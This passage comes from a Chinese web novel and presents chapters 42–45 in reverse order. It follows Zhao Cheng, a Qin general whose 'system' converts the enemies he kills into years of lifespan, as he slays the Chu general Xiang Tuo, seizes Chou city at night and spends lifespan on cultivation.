“这少年如此神威,假以时日,军功封侯不在话下,届时就算不是宗室血脉,以其军功爵位和军中威望,哪个宗室血脉能够比得上他……”
又想到一层,顿弱突然想去见见那个少年了。
趁着现在,抱紧大腿,比什么都重要啊。
想到此处,顿弱突然站起身来,快步走出县治,命令等候在外的一名手下。
“你速去怀阳村,让他们不要查了,我亲自来查!”
第45章 夜观天象,杀星入脉
早在来的路上,赵诚已经率领三千突骑奇袭沿途烽火台,并留派守兵,卡着时间点燃放捷报烽火。
在他踏入城门之际,身后远处,三千突骑精锐在黑暗中静默无声,如同覆盖着死亡斗篷的黑色洪流,静静沉寂在深夜里面。
此时依然月黑风高。
三千突骑骤然疾奔而起,如风如箭,直逼犨城城下!
轰隆隆的马蹄声荡过平原,响彻城楼,好似踩踏在袁明的心口上,让他浑身巨震。
“死守城门!!”
“给我拦住他,别让他开城门!所有人,不惜一切代价,拦住他!”
他声嘶力竭下令。
一片又一片的守军疯狂涌入城门之后,却被赵诚纷纷枭首。
头颅接连飞起。
赵诚疯狂杀敌夺寿。
【你击杀了一名敌军,夺取寿命十三年】
【你击杀了一名敌军,夺取寿命十七年】
【你击杀了一名敌军,夺取寿命二十三年】
……
【当前剩余寿命:45879年】
【当前剩余寿命:46154年】
【当前剩余寿命:46358年】
……
短短时间内,新涌入的兵卒已经被赵诚斩杀一空,后面奔至的兵卒看着那尸山血海之景,再也不敢踏入城门之后。
只能眼睁睁地看着赵诚大摇大摆的走到城门之前,单手抬起了巨大的门栓,将城门轰然打开。
门后突骑洪流般汹涌而入,摧枯拉朽杀入城中,冲杀守军势如破竹。
城中大乱,赵诚独自杀上城头,漫步间杀至袁明身前,对着袁明咧嘴一笑。
“还是不够谨慎。”
袁明吓傻了,呆立在原地,被赵诚一剑枭首。
头颅飞起之际,他的副将已经脱了铠甲,假装百姓逃入了城中。
整个犨城,彻底群龙无首,本就只有一万的兵力,发挥不出三成。
在三千突骑的冲杀,和赵诚杀神般的威慑之下,迅速溃败。
最终只余一千人当做战俘,去了铠甲兵器,上了绳索,留作干杂活用。
此番突骑营又杀了个爽,三千斩杀九千,各个军功卓著,一个个恨不得把自己捆在赵诚大腿上,以后都跟着赵诚打仗。
赵诚夺取的寿命,也突破了五万两千之数。
犨城已破,三千突骑占领了城中各处,赵诚也终于有时间安安静静地休息一下。
冯全不知道从哪搬了个藤椅来,给赵诚放在城头之上,让其躺在藤椅上面,可以俯瞰城下夜景。
当然,城下也没有什么夜景好看,一片黑乎乎的,不过吹一吹风,倒也不错。
如今他体内元气滚滚,体力无尽,几番激战下来,也没有太过疲惫。
只是偶尔清闲一下,还是十分惬意。
冯全和封若两人,则是从城中厨舍找来了点野兔,学着赵诚的样子,给赵诚烤肉吃。
蒙恬也是沾了赵诚的光,坐在一旁美滋滋地吃起烤肉,改善了伙食。
赵诚吃着烤肉,吹着夜风,看着系统之中五万多年的寿命,感到一阵的富足。
“五万两千多年的寿命,虽然说攒到十万年寿命可能会解锁系统新的功能,但是就这样攒下去,也不知道灭韩之后能不能到达十万。”
“可若是用来推演功法,在没有明确方向的前提下,难免会走不少弯路。”
“不过现在至少有一个方向是明确的,就是不断凝练经脉中的元气,让元气更加充盈,总归是没有坏处。”
经过连番大战,他经脉中的元气已经是消耗了一部分了。
这段时间又没有时间安静吐纳,干脆直接投入寿命修炼。
“系统,投入两千五百年寿命吐纳修炼。”
【开始投入寿命修炼基础炼体功……】
【第一年,你的基础炼体功已经圆满,但是元气还远远没有凝练到极致,你继续吐纳吸收天地元气,元气在你的奇经八脉之中自行运转,不断凝练着……】
……
【第一百年,在百年的吐纳中,你经脉中的元气恢复到了满盈,同时元气也凝练了半成,元气吸收速度增加半成……】
……
【第五百年,你觉得让元气自主循环,凝练的速度太慢了,甚至抵不上你吸收元气的速度,于是你开始尝试引导元气按照特殊的规律运行。】
……
【第一千年,你终于找到感觉,艰难引导一点元气运转,但元气还是有些不听话,引导的时断时续……】
……
【第一千五百年,你能够持续引导更多元气运转了……】
……
【第一千七百年,你引导一股元气,按照任督二脉的路线循环,尝试主动流转小周天,你误入歧途,你元气大伤……】
……
【第两千年,你终于养好了伤势,恢复了元气,从另一个方向引导元气,经任督二脉,流转小周天,你浑身燥热,元气突然流速加快,且越来越快,逐渐失控,你元气大伤……】
……
【第两千三百年,你再次养好了伤势,经过三百年的反思,你越发困惑,顺行不可,逆行也不可,光是这一小股元气,就使你元气大伤,若是全身元气一起运转,还不得重伤而亡?】
……
【第两千五百年,你老老实实地吸收天地元气,任由元气自然流转,元气凝练了一成,你的元气吸收速度增加了一成。】
推演结束,赵诚有些无语。
“果然小说里都是骗人的!什么顺行任督二脉就是正道神功,逆行任督二脉就是邪道神功,哪个神功我也没练出来,反倒练成了走火入魔。”
胡乱尝试,连续两次元气大伤,光是养伤就养了六百年,简直离谱。
不过元气凝练明显是有好处的,元气越凝练,吐纳吸收元气的速度就越快。
元气凝练之后,总量也会少上一成,但因为吐纳速度变快,这一成也很快就补足了。
“体内经脉盘根错节,想要找到能够快速凝练元气的规律,难如登天。”
“这里面,应该是暗合某种天地规律的。”
赵诚隐隐察觉到,自己体内元气的自然流转,是符合自身生命运转的某种规律。
这种规律非常复杂,可能会细节到每一个细胞的运作。
元气顺应生命规律,自然而然地凝练,效率虽然缓慢,但非常稳妥。
想要进阶,通过运转规律,提升元气凝练效率,需要找到既符合生命运转规律,又更加高阶的线路顺序。
这就指向了一个方向——天人合一。
体内元气的运行,如果按照某种合乎天地规律的线路来运转,应该就能将修炼速度大大增加。
这也解释了诸子百家之中,为何会出现炼气士。
一些根骨奇佳,悟性超群之辈,先天经脉通达,感受到天地元气的同时,又洞彻天地规律。
将自身经脉与天地运行一一对应,自然而然炼气入体。
不像赵诚,从基础炼体功入手,将体魄锤炼到极致,又以洗髓丹褪去凡胎,强行引天地元气入体。
“体内经络太多了,按照不同顺序去尝试,方向足有亿万万种,还是不乱来为妙。”
此时天空之上遮云渐去,月光洒下。
赵诚仰望星月,见漫天繁星遥遥闪烁,似乎暗合某种规律。
月光倾泻,华光淌过平原,远处山川蜿蜒如龙,似乎也隐含某种至理。
山风大泽,四季流转,莫不是一种规律。
可惜赵诚想破脑袋,也不知道如何将体内经脉与天星地理对应到一起。
看着看着,赵诚突然想到,自己可以凝练悟性丹啊。
悟性丹虽然一千年一枚,但是效用却足有十年,吞下悟性丹再进行推演,或许就能推演出个方向来。
想到就干,赵诚直接消耗一千年寿命兑换了悟性丹。
而后吞服下去。
一瞬间,脑海之中诸多繁杂思绪瞬间清明了许多倍,就好像一大团缠在一起的线团,突然之间被梳理成了条条分明。
那天星规律,山川地脉,都好似化作了一道道可见的规律落入赵诚的心中。
他立刻投入寿命开始推演。
“系统,投入十年寿命,推演元气运转路线。”
【开始投入寿命推演。】
【第一年,吞下悟性丹后,你悟性大增,于过往种种中,都能领悟出许多道理来,天星排布,山川地脉在你眼中,都清晰可见某种规律,你如痴如醉的坐观参悟……】
【第五年,你日夜参悟,越发感到天地之理庞大复杂,它们与经脉运行隐有关联,却始终把握不到那一线契合之处,不敢轻举妄动……】
【第九年,一晃数年,你夜观天象,突见一颗星辰隐现凶光,细细看去竟透出血光来。
你沉浸其中,诸多杀伐景象,尸山血海浮现心间,杀敌无数的煞气自心神之中鼓荡,冲脉之中元气陡然自行运转起来,冲入少阴之大络,又与其他十二正经其四交汇循环,复归冲脉之中……】
【第十年,你观杀星参宿,领悟冲脉运行之法,冲脉元气凝练速度大增,冲脉运转一周,可抵周身自行运转数十周,不过每一次运转,你心中都杀气难抑,身上煞气越发浓烈……】
外界,赵诚猛的睁眼,双眸之中竟隐隐透出猩红血光,杀意之烈,让周围十米内的将士们都不由自主打了个寒战!
他们缩了缩脑袋,迷茫的看了看四周,感觉好似被凶虎锁定,随时都有殒命之威。
这种感觉是如此的清晰,让他们心中极为不安,汗毛都根根竖起。
赵诚再次闭目,平复心神,同时内观冲脉。
只见冲脉之中元气如锋,不断冲入其余四条正经之中,循环一部分正经,又在另一交汇处重新回归冲脉,形成一个循环。
但这元气运转之间,竟能看出霸烈杀伐之气,也是古怪。
“怎么悟出了这么个路线?”
赵诚摇了摇头,扭头看向蒙恬,“兄长,我们何时杀入宛城?”
蒙恬扭头与之对视,顿时身上一冷。
那眸子里面,竟似有杀气如海,令他都心惊肉跳。
这是杀瘾上来了?
刚杀穿了犨城,还没过两个时辰,又想杀人了!
你这杀瘾有点大啊!
第44章 糟了,这真是个万人敌!
“……此局有几个关键,首先是项佗一部,军风向来勇烈,又不知道我军能够这么快拿下叶县,迫切夹击我军。
才会让九万大军迅速进入我们的布局之地,使他们的中军精锐全部身陷阵中。”
“若是换一个谨慎一些的将领来,先以前锋试探磨杀,再让后军缓缓压上,此阵就会效力大减。”
“其次,放任敌方冲阵到深处,还是很危险的,需要发力将其锋芒阻断。”
“项佗一部精锐深入我军,其勇武锋锐,依然是所向无前。
换做寻常将领来指挥此战,不但不能将其阻碍围困在阵中,还有可能真被其杀穿中军,甚至夺旗斩将,到时候便是赔了夫人又折兵。”
“父亲隐于阵中,借四方亲卫下令,以中央军精锐为磨盘,呈叠浪之势绞杀,最大程度发挥出了士兵的力量。
项佗一人相当于同时面对数千材士的车轮战,再加上城中一部突然加入战场,这才阻断了其冲势,使其不得不掉头突围。”
“三来,项佗判断局势很快,迅速突围时保留了近半的楚军力量,此时三万楚军面对我方一万骑兵,突围不算太难,这一部分的关键就在于你了……”
“战场之上瞬息万变,变数极多,父亲只以敌方将领的风格推演布阵,却能将每一处细节都布置得如此精准。
始终把项佗拿捏得死死的,让其没有丝毫喘息之机,每走一步都掉进挖好的坑里,称得上是运筹帷幄……”
赵诚坐在营帐之中,和蒙恬复盘本次战斗,学习兵法。
他如今军功卓著,升爵和坐火箭一样快,已经可以作为副将独自领一部兵马作战。
照这个趋势来看,他早晚也将独领大军单独作战,多了解一点对他也有好处。
而且,见过了项佗的兵败,他意识到作战风格单一,遇到蒙武这等贼精贼精的老登,还是会有些麻烦。
与项佗换位处之,以赵诚的武力,确实可以杀穿军阵,甚至直指敌后。
但当时蒙武隐于军中,以亲卫随军下令。
那大军有若汪洋,四处敌军冲杀,好似叠浪磨盘,一个人在这种无边军阵之中,实在渺小。
不能尽快找到蒙武所在,手下的士兵很快就死伤惨重,这是赵诚不愿看到的。
所以他学习兵法不求排兵布阵出彩,至少遇到贼老登时,可以有应对之策,不至于杀着杀着成了光杆司令,这才是正经事。
正认真学习之间,帐外有将军亲卫来唤,“大将军有令,唤前将军与蒙都尉来见。”
蒙恬眼睛一亮,“快走,父亲恐怕是要咱们领兵突袭犨城了。”
赵诚也是一喜,与蒙恬一起,快步前往蒙武军帐。
“将军。”
蒙武看着眼前越发生龙活虎的赵诚,眼中流露着欣喜之色,“阵前一戟惊退项佗,又一戟杀之,足以让你在秦楚扬名。”
赵诚苦笑,“都是虚名,不扬才好。”
他可不想向那个项佗似的,因为战斗风格太明显,被贼老登看透了有针对性的进行布置。
不然以后敌方将军一看到他,立刻就直接隐身在大阵之中,连头都不敢冒,他想要快速解决战斗,还要废点功夫。
看到赵诚的反应,蒙武暗暗点头,对其越发欣赏。
此子不骄不躁,不求虚名,善韬光养晦,这才有名将之资。
“还有余力乎?”
听到重点来了,赵诚挺直腰杆笑道,“刚刚热身。”
“哈哈,好!”
蒙武也是一笑,扔出一份封泥急报,“那便命你二人,点齐三千突骑,夜袭犨城,天亮之前,将犨城夺下。”
“这是那受降韩将的印信,可假作急报印信,助你入城。”
“末将领命!”
月黑风高时。
三千突骑奔出叶县城,直穿东南平原,奔袭犨城。
……
犨城。
城头之上,火把通明,守将袁明站在城楼之上来回踱步,神色间忐忑焦急,时而面露期待,时而十分忧愁。
“怎么还没有消息传来?”
“秦军多日攻城不下,正是疲兵之时,楚军连同宛城援军,集结九万,配合城中三万里应外合,突然围杀秦军,如此天赐良机,怎么会打这么久?”
“难道被秦军提前发现了?”
“可就算是提前发现,秦军处境也非常不利,不论是强行攻城,还是强行突围,都非常被动,就算不会大败,怎么也是个小败退走,可解叶县燃眉之急。”
“怎么到现在还没有消息传来?”
“成败可就在此一举了,若是连楚国援军都被打退,叶县被夺就是迟早的事。”
“叶县一下,东边一马平川,秦军顺势而下,犨城也挺不了多久。”
“好在那项佗也是有名的猛将,如果他们没有大败秦军,至少也削减了秦军许多力量,叶县或许可以多支撑一些时日。”
“不过,韩江也是有些本事在身上的,只要他把握好时机,与楚军里应外合,全歼秦军也不是没可能!”
“不必多虑,秦军虎狼之师,战况焦灼一些也是正常的。”
他不断踱步,眼睛始终看向漆黑的平原深处,那是叶县的方向。
突然,远处隐隐约约传来马蹄急响。
离得近了,渐渐看到一骑飞奔而来。
此人身上穿的是韩军斥候的轻甲,胸前挂着竹筒,一看便是传递急报的传卒!
“终于来了!”
袁明大喜,却没有第一时间打开城门,而是仔细朝着那一骑身后看了看,见后方空旷无人,心中警惕放下了许多。
实际上,他也知道自己是多虑了,不管楚国援军有没有大败秦军,此时秦军都不会跑来攻占犨城。
叶县没下,来打犨城,那就等着被断粮草,围困在犨城等死吧。
那传卒疾奔而至,远远的就报起了喜讯,声音在城下远远的传开。
“报——”
“楚韩联军于叶县城下大败秦军,追杀秦军五十里,斩其军士六万余!”
“请将军核验军报!”
赵诚奔至城下,高声报喜。
城墙之上,顿时传来一阵阵欢呼,所有士兵都是一阵的激动。
近来这些日子,秦军如同一座大山一样压在了他们所有人的心头,到了今夜,更是等消息等的焦灼不已,突然传来大败秦军的好消息,让所有人都是十分的振奋。
袁明跟工厂高兴地直拍大腿,“好!好啊!”
见手下要去开城门,他又将手下拦住,“放篮子,先验明文书印泥。”
副将有些不理解道,“将军,传卒只有一人,就算是敌军的间子,进城也翻不起什么浪花吧?”
袁明怒道,“你懂个屁,他要是项佗那等万人敌呢?你觉得项佗那样的人进城之后,你们能拦住他打开城门?”
“哪有那么多万人敌啊……”
副将虽然不认为下面的人能和项佗一样勇猛,还是听话地让人放下了篮子,“将文书放在篮子里,核验过后再放你入城。”
赵诚无所谓,从竹筒中拿出封泥文书,放在篮子里面。
篮子提了上去,袁明立刻拿起文书,核验印泥上面的符印,片刻后笑道,“确实是真印。”
正此时,远处也传来报捷烽火。
袁明更是放下心来,“开城门吧,让传卒进来喝口水。”
下面的人立刻打开了城门,赵诚不慌不忙地策马向前。
一人一骑,背对着无尽黑暗的平原,从容踏入重兵把守的犨城之内。
城门缓缓闭合,发出轰隆一声。
赵诚英武面容之上,一丝危险笑意悄然浮现。
城楼之上,袁明解开封泥,刚打开文书看了几眼,突然脸色大变。
“这不是韩江的字迹!”
“速杀传卒!”
话音未落,城下喊杀之声乍起,利刃劈砍血肉的声音连绵响起,下方传来密集的惨叫声和惊呼声。
副将脸色大变,探头一看,顿时面如金纸。
只见那刚刚入城的传卒,犹如暴虎一般冲杀在城门之内,手中一把长剑挥舞如风,七步之内竟无人能够靠近。
那杀人速度之快,如同秋风卷落叶,令人咋舌!
无数兵卒在他面前接连倒下,短短时间内,已然倒下一大片,堆积成了小山,城门后面已是血流成河!
副将心头都在颤抖。
让将军说准了!
此真乃万人敌也!
袁明看到副将的脸色,也是心中升起不妙之感,快步走来,一看之下顿时痛心疾首!
“糟了,真是个万人敌!”
“快快增兵,拦住他……”
第43章 定局收官,夜袭犨城
两军对冲,双方将领都是带头冲锋,对撞之下,有项氏之虎称号的项佗竟然一触即溃!
这景象落在楚军之中,有若晴天霹雳!
项佗从来身先士卒,一往无前,锐不可当。
如今一戟之下,竟被那金甲小将吓得狼狈窜逃,惶惶有若丧家之犬。
楚军士气一落千丈,秦军愈发士气如虹!
如此相撞之下,楚军前阵瞬间人仰马翻。
秦军突骑营紧随赵诚,如锋刃般插入楚军军阵之中,杀伤一片,向内斩去。
“拦住他!”
项佗向后败逃,甚至想要趁手下拦住赵诚的时候,钻进山林,独自逃窜。
但凡有一战之力,他也不至于如此。
可刚刚那一击,让他瞬间意识到,双方根本不在一个层面上,他和对方对冲,简直就是愚蠢至极!
一直以来引以为傲的个人武力,在那小将面前,根本就是个屁。
他甚至感觉,再接一击,自己就要死了。
这死亡的气息是如此的浓厚,让他如芒在背,一边逃窜,一边不断回头看去。
却见赵诚人挡杀人,马挡斩马。
死士坐下的那些高头大马,在他的大戟面前,就像是小野兔似的,一戟下去就能劈成两半!
这特么是何等神兵利器,他的大槊已经是花重金找名将,千锤百炼锻打出来的,竟然被那一戟差点劈断?
这一战已经打不下去了,不论是战局,还是战力,都已经衰弱到了极致。
但秦军之中有如此猛将,简直就是六国心腹大患!
他还如此年轻,已经勇武至此,假以时日,还有何人能敌?
他就算是死,也要将这个信息传递到楚国去,让所有国家一同发力,将这个秦国将起的猛将刺杀!
不然假以时日,这又是一个秦国武安君!
他拼命逃窜着,周围的楚军士气虽然衰弱,却仍然血勇,口中大喊保护将军,而后向前拦截赵诚。
可赵诚何许人也,哪里是他们能够拦得住的。
一戟下去,连人带马,全都一扫而空。
唯一能够限制他速度的,就是马前那些被斩杀掉的尸体,稍微有点碍事。
不过在通神的马术之下,速度就算些微减少,也是不多。
依然如同穿花蝴蝶一般,来去如风,刀尖一般切开军阵,直逼项佗。
“你不是项氏之虎吗?怎可做丧家之犬状,惶惶逃窜?”
他一边快速冲杀,追杀项佗,一边大喝如虎,狂放大笑。
“再来接我一戟!”
“别跑!”
声音传遍两军,项氏之虎成了丧家之犬,本来将此当做骄傲的楚军越发抬不起头来,深感羞辱。
而秦军确实哈哈大笑,自豪之间,也是不断出言干扰敌军士气。
“这就是项氏之虎?项氏无人乎?楚国无人乎?”
“当不得我们将军一戟,也敢自称为将!”
“刚刚碰了一下,就像个小媳妇似的仓皇逃窜,楚国人都如此柔弱吗?”
“手下败将罢了,楚国怎么派你们来此支援,简直就是来送军功的!”
“别跑,借脑袋一用!”
“我们将军在此,此路不通,还是滚回去受死吧!”
“……”
楚军士气越来越弱。
而项佗更是咬牙切齿,脸上涨红如血。
他一向勇猛刚烈,练兵是如此,打仗也是如此。
正因为他的风格是这样,他麾下的士兵们也是勇猛刚烈,军风从来都是一往无前,哪里打过这么憋屈的仗?
思来想去,项佗长叹一声,突然调转马头。
一如既往地大喝道,“本将不是丧家之犬,你们也不是败将之兵。”
“全军听令,随我冲杀!”
他提起血勇,抱着死志,冲向袭来的赵诚。
赵诚本就紧追不舍,两人距离算不上远,此时对方不退,反而冲来。
距离瞬间拉近到了极致。
大槊已经如龙刺向赵诚眉心。
赵诚不闪不避,左手握向大槊,右手一戟劈向项佗脖颈!
项佗的大槊还没刺到赵诚面前,就被赵诚的手死死握住,从极动到极静只在一瞬间,他那全身力量凝聚的一击,就此泥牛入海,动弹不得。
而赵诚的大戟已经袭来,项佗不得不放弃武器,后仰闪避。
可赵诚那如此沉重的大戟,在他的手中却灵活到了极致,竟然在力量最大的时候,陡然变招,调转方向一旋而过。
嗤的一声!
项佗头颅已然飞起。
赵诚大戟一挑,项佗头颅已经落在手里。
“将军!!”
“为将军报仇!”
“杀!”
周围的楚军在瞬间的静默之后,突然发了疯,爆发了比之前强大数倍的力量,朝着秦军和赵诚冲杀而来。
一个个竟然不顾生死了。
赵诚挥戟反击,一片又一片的敌军死去,后面却依然不断冲杀,没有人后退,也没有人露出畏惧之色,反倒是越发疯狂。
他看了看手中项佗的头颅。
“这就是你布的最后一阵吗?”
以他最后的血勇和死志,配合绝境,激发将士向死而生。
多少也算是将他项氏之虎的治军之风贯彻始终了。
不过,也就那样。
赵诚眉峰一挑,杀气顿时凛冽三分。
“杀!将楚军全歼在此!”
“杀!”秦军狂热不弱楚军,又有赵诚率领突骑营一往无前,很快就将群龙无首只剩血勇的楚军分割开来,渐渐围杀。
楚军前军深陷敌阵,中军被两侧夹击,后军突围之路被断,已是完完全全的死局。
秦军围拢之势大成,但蒙武却反而越发稳健,指挥令旗的挥动越发频繁与密集,军阵在快速的变化着。
楚军活动范围越来越小,逐渐施展不开,数万人只能发挥出几千人的力量。
再加上群龙无首,项佗死去激发的血勇,已经是再而衰,三而竭。
大量的敌军不断死去,渐渐只剩残军。
而在这个过程中,秦军的消耗反而很小。
到了傍晚时分,楚军已经尸横遍野,只余几股残兵,趁着乱战之际突围到山野之中,蒙武派兵围杀,恐怕也用不了多久就全歼了。
至此,楚军折损六万兵力,损失一员勇将,秦军大捷。
城外战场上,秦军打扫战场,割下首级,收拢兵器铠甲等战利品,核验军功。
赵诚骑着马率兵回营,看到大戟戟刃之上,卷了拇指大的一小块,不由得有点心疼。
那项佗的大槊,就算不是精铸品质的兵器,至少也经过千锤百炼。
自己这大戟,劈砍寻常士兵的兵器如砍瓜切菜。
但是劈开那柄大槊,不但没劈断还卷了刃。
看来得锻造个宝戟,或者攒攒寿命,直接锻造神兵方天画戟。
宝戟却也可用,但方天画戟更好,神兵迟早都要锻造的,何必浪费那一万寿命去兑换宝戟?
一旁。
蒙恬看着赵诚马上悬挂的头颅,叹道,“此军确实勇烈,正常战役之中,伤亡小半,就要开始出现逃兵,伤亡大半,就要全军溃败,大举投降。”
“但这一部兵马,就算将要死伤殆尽,也没有人投降,潜入山林者,也在尽力顽抗。”
“倒是那韩军,见机得快,三万兵马,降了两万。”
“可见宛城来援的兵力,都不是什么精锐,多是些老弱病残。”
“应该是想保存兵力,应对接下来的秦军攻城。”
赵诚问道,“我们什么时候攻占宛城?”
蒙恬摇了摇头,“现在还不行,宛城不好打,需要先将宛城孤立起来,所以得先攻克犨城,切断宛城与鲁阳、舞阳的联系。”
“不过,犨城却是好打的,此城就在叶县西南,两城之间相距不过三四十里,且中间全是平原。”
“若是突骑营全速奔袭,半日便至,轻骑攻去,也不需一日就可抵达。”
“且犨城防御不如叶县,如果派咱们骑兵夜袭犨城,或可速战速决。”
“只是,不知父亲作何想法。”
赵诚说道,“你之前说,此战非常经典,有很多可以学习的东西,什么时候复盘,我也随你学一学。”
蒙恬一笑,“现在就可,咱们去帐中复盘此战。”
“父亲此战,是抓住了敌军弱点,针对项佗的猛烈军风而布下的三叠阵,再加上你奇袭破城的信息差,更有奇效。”
“恐怕是在得知来将是项佗之时,父亲便已经推演好了一切,之后按部就班,将项佗一步一步逼入绝路。”
“最后再以你为杀子,关键一手断其生路,定局收官!”
“此战稳健之中,又干脆利落,其中诸多细节,都很是关键,我是打不出来的,但不妨碍咱们学一学。”
……
大帐之中,蒙武坐在案前,桌上摊着帛书,笔尖悬于其上,久久未动。
他挠了挠头,有些头疼。
此战双方兵力总计近二十万,已经算是大型战役。
大胜之下,全军军功都很是卓著。
除了他排兵布阵之外,最为关键的当然是赵诚封断后路,斩其勇将一功。
若是没有赵诚率万余骑兵封死后路,换做旁人来,项佗必然能够凭借背水一战的士气,以及个人的勇武,带领近三万余楚军强行突围。
此战就算能胜,那也只能算是小胜,比不上全歼的大胜。
而且那项佗不大不小,也算是个楚国名将,更是以勇猛刚烈著称的猛将。
赵诚阵前斩他,含金量极高,足以扬名秦楚。
还能在秦国内部,证明赵诚的勇武,以及他之前所言非虚。
可军报好说,秦律规定,不管大小战役,都要传递军报。
但这信一封接着一封,每一封都是赵诚,大王陛下岂不会觉得很烦?
思来想去,蒙武看了看地图上的犨城。
突然决定了什么。
“既然如此,不如今夜就让赵诚领兵,奇袭犨城,速战速决,明日连同犨城大捷的战报,一并传信于陛下好了。”
蒙武决定了之后又仔细想了想,越想越觉得这个决定很不错。
于是立刻喝道,“来人,唤赵诚蒙恬来见本将!”
……
第42章 一戟夺魂,丧家之犬
昆阳山脉以南,近十万大军蜿蜒而来。
为首将领身材高大壮硕,猿臂蜂腰,身披厚重铠甲行动如常,正是有着项氏之虎称号的项佗。
项佗率领的楚军行军速度更快,已经将宛城的韩军拉开了一段距离。
“报,前方与敌军斥候相接,已有一部斥候没了回应。”
“报,秦军正在攻打叶县城。”
“报……”
一名又一名斥候接连飞奔回来,传递军情。
项佗听着,心中已经有了数。
“看来蒙武已经知道有援军来了,才会如此着急的攻打叶县。”
“在他的计划中,恐怕还要三日才能将叶县完全困死,我等急行军来此出其不意,他现在已经乱了阵脚。”
“想要强行破城,为时已晚。”
“全体大军,加快速度,配合叶城守军,歼灭秦军!”
楚军速度更快一层。
项佗一马当先,向着叶城之东疾驰而去。
一山之隔,赵诚一部,上万骑军静默无声。
感受着地面的微微震动,赵诚与蒙恬对视一眼,都看出了彼此眼中的笑意。
“敌军已经入瓮!”
从天空上看,大量的楚军正带着韩军,朝着秦军布下的口袋深处进发。
一段时间后,楚云已经抵达叶县城之东,遥遥看去,秦军正在激烈攻城,双方战作一团,喊杀震天。
显然蒙武已经狗急跳墙,想要在援军抵达之前,强行攻下叶县。
“哈哈哈哈,如此失措,还敢自称名将?”
如此时机,项佗自然不能错过。
立刻命令先锋营向前压去,想要趁乱轰碎秦军的阵型,再分而杀之。
前有攻城不下,后有援军夹击,秦军就算再是虎狼之师,两下冲击下来,也该溃散了。
“随本将冲锋!”
项佗亲自带着手下上千锐士,向着敌阵冲去,如同锥子一般,迅速扎入秦军之中。
此人勇力超群,手上提着一把大槊,挥舞之间破阵杀敌,竟势如破竹。
其身后那上千锐士经他亲自训练培养,也是能够以一当十之辈。
如此千人强锋,瞬间切入秦军之中,竟真的将秦军冲出一个大口子来,带着数万大军开始向着秦军深处切入。
两军短兵相接,战斗在一瞬间就直接进入白热化阶段。
项佗越冲越是觉得不对,这秦国军阵,外密而中空。
一开始冲击起来还有些困难,但是越冲向敌阵深处,反而越发轻松。
“原来是外强中干!”项佗冷笑一声,只当秦军在之前的攻城战之中损失太多。
为了吓唬自己,才摆出这样的阵型来,假装自己人数很多,想要延迟自己进攻的节奏,夺取更多攻城的时间。
“想的倒是简单。”
项佗如龙如虎,浑身浴血,带着大军持续不断地向前冲杀,依然是无一合之敌。
就其勇力而言,确实不俗。
但是很快,他就遇到了顽强抵抗。
楚军刚刚穿过中阵,秦军抵抗力量瞬间大增,在蒙武的指挥下,大量秦军军阵如同磨盘一样转动起来,向着项佗这边绞杀而来。
如果说之前项佗一部是顺流而下,如同猛虎下山插入军阵的话。
那么现在就像是逆着急流而上,且这急流之中隐见层层叠浪,一层之后,又是一层。
层层无尽,绞杀而来。
就连项佗都是感觉到了体力在快速下降,他越打越是心惊。
抬眼一看,那城墙之上的韩军竟然不打了,攻城的秦军也不打了,在如此要命的时候,竟然同时停手了。
甚至于还有韩军打开了城门,带着大股兵力,汇入秦军之中,为秦军的叠浪阵增添新生力量,使得他的冲杀之势越发艰难。
“糟了,韩军竟然倒戈,是想和秦军合谋,将我部坑杀在此!?”
项佗第一时间心惊肉跳,回头看去,生怕从宛城来的那一部韩军也是秦军的人。
好在,宛城那一部并没有倒戈,他们也正在冲杀,与秦军战成一团,看到叶县韩军加入了秦军,韩将也很是懵逼。
项佗心念急转,不断观察战场态势。
虽然不理解叶县守军为何突然倒戈,但是叶县中冲出来的那些兵力并不算多,此时他已经冲杀到了秦军阵深处,只要杀穿军阵,两翼一包,照样分歼敌军!
想着,他继续奋力冲杀。
秦军军阵本就外密中空,就算有蒙武只会的叠浪阵磨杀,也在缓慢的被楚军继续深入,隐现后力不足之象。
蒙武却不慌不忙,见项佗一部后军也逐渐深入,就连宛城援军也全面踏入包围圈,这才挥舞令旗!
在敌军愕然之中,两万轻步兵瞬间冲杀而出,从两翼围杀而来。
秦军顿时形成了包围之势。
项佗此时才惊觉不妙,脸色大变。
这他娘的不是堂兄成名的三叠阵吗!?
前锋诱敌深入,中军叠浪固守,两翼包抄围杀!
他太熟悉这个战阵了,在发现的第一时间,瞬间果断下令全军后撤突围!
并且自身也做出了极快的反应,率领先锋调转矛头,向着侧后方突围的方向杀去。
此人一边冲杀,一边不断地下令。
身边的副将随着他的命令挥舞大旗,军阵也随之快速变化,竟然在瞬息万变的战局之中,丝滑变阵突围,应对非常适宜。
而且,因为他见机很快,两翼包抄之势还未成形,他已经开始破局。
故而楚军真就在围杀还没合拢的那个口子中冲杀而出,死死占据了这一条生路。
此时,战局开始僵持。
秦军兵力不断压上,想要斩断楚军生路。
而楚军知道生路一断必死,背水一战,死死占据生路,并将生路不断扩张开来。
更有项佗一部四处冲杀,集结兵力重点突破,那生路被开拓的越来越大,越来越多的楚军冲出了围杀圈,且战且退。
他一边冲杀,一边大吼出声,“后方就是两面山林夹成的峡道,易守难攻,只要退到那里,秦军就别想拿咱们怎么样!”
众将士闻言都是心神振奋,士气再次提升起来,大有破釜沉舟、背水一战之势!
那生路,竟硬生生被他们啃下一块又一块。
军风之烈,可见一斑。
然而就在此时。
那楚军后方的山林峡道之中,竟传出密集震响。
声音越响越急,愈近愈烈,渐有马蹄声滚若洪雷。
项佗心头一跳,凝眸遥遥望去。
先见一面黑色秦旗迎风招展,旗下更有一将飞骑当先。
那白面小将身着鎏金鳞甲,手提丈二大戟,伏身马上,踏起烟尘,奔袭如剑,煞气冲天而来!
上万轻骑紧随其后,奔马而出,速度之快,有若锋矢疾袭而至!
如此军气好似滚做一团,冲天而起,崩空裂云,作气吞万里如虎之势!
项佗见此,脸色终于大变!
这一部骑兵出现,有若神兵天降,瞬间切断了楚军突围的唯一后路,将秦军这张大口袋唯一的缺口牢牢封死!
至此,楚军已经彻底被封入了绝路!
项佗发了狠,当机立断,“立刻突围,大军压上,冲开峡道!”
此乃壮士断腕之举,此时生路未经开拓,尚且狭窄,大量楚军还身陷敌阵,苦战突围。
若集结兵力冲杀峡道,后方必有大量兵力彻底被围杀在此。
可是不冲,就是全军覆没。
项佗率领八百死士一马当先,与峡道之中的骑兵对冲而去。
先冲阵,再突围,如此高强度的冲杀,其下千余死士精锐已经死伤数百!
但没关系,项佗依然有把握突围。
“敌将稚嫩,竟敢学我一骑当先,先将其斩于马下,断其军气,趁敌军群龙无首,一举灭之!”
他狞笑着,奔马冲向赵诚。
